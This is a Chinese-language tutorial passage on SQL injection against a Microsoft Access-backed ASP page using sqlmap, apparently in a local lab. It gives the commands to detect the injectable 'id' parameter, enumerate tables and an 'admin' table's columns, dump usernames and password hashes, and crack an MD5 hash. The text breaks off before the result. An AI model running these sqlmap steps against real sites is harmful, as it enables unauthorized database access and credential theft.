sqlmap之(三)----Access注入实战

(1) 猜解是否能注入

 

 

sqlmap.py -u "http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513"

 

 

it looks like the back-end DBMS is 'Microsoft Access'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 

 

它后端DBMS看起来像是“Microsoft Access”。 是否要跳过特定于其他DBMS的测试有效内容

 

输入"Y"。

 

 

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)?

 

GET参数'id'是脆弱的。 你想要继续测试其他人（如果有的话）

 

输入"Y"。

 

 

猜出来的数据库是"Microsoft Access"数据库。

 

(2) 猜解表

 

 

sqlmap.py -u "http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513" --tables

 

 

do you want to use common table existence check? [Y/n/q]

 

是否要使用公共表存在检查存在？ 输入"Y"

 

 

 

please enter number of threads? [Enter for 1 (current)]    请输入线程数? [输入 1 (当前)]

 

然后要你输入线程数,这里输入10,线程数不能输入过大,否则会提示错误。

 

 

猜解成功后得出的表。

 

(3) 根据猜解的表进行猜解表的字段(假如通过2得到了admin这个表)

 

 

sqlmap.py -u "http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513" --columns -T admin

 

 

 

do you want to use common column existence check? [Y/n/q]    你想使用公共列存在检查吗?[Y/n/q]

 

输入"Y"。然后输入线程数

 

 

一番等待结果就出来了。

 

 

(4) 根据字段猜解内容(假如通过3得到字段为admin和password)

 

 

 

他会询问你: do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]

 

你想存储的哈希值来与其他工具最终进一步处理临时文件?

 

输入"Y";

 

然后他又会询问你: do you want to crack them via a dictionary-based attack? [Y/n/q]

 

你想通过基于字典的攻击来破解他们吗？

 

 

输入"N"; 使用它自带的

 

 

用户名与密码就出来了。密码是MD5加密的: a48e190fafc257d3  放到网上去解密,解密之后得到的结果为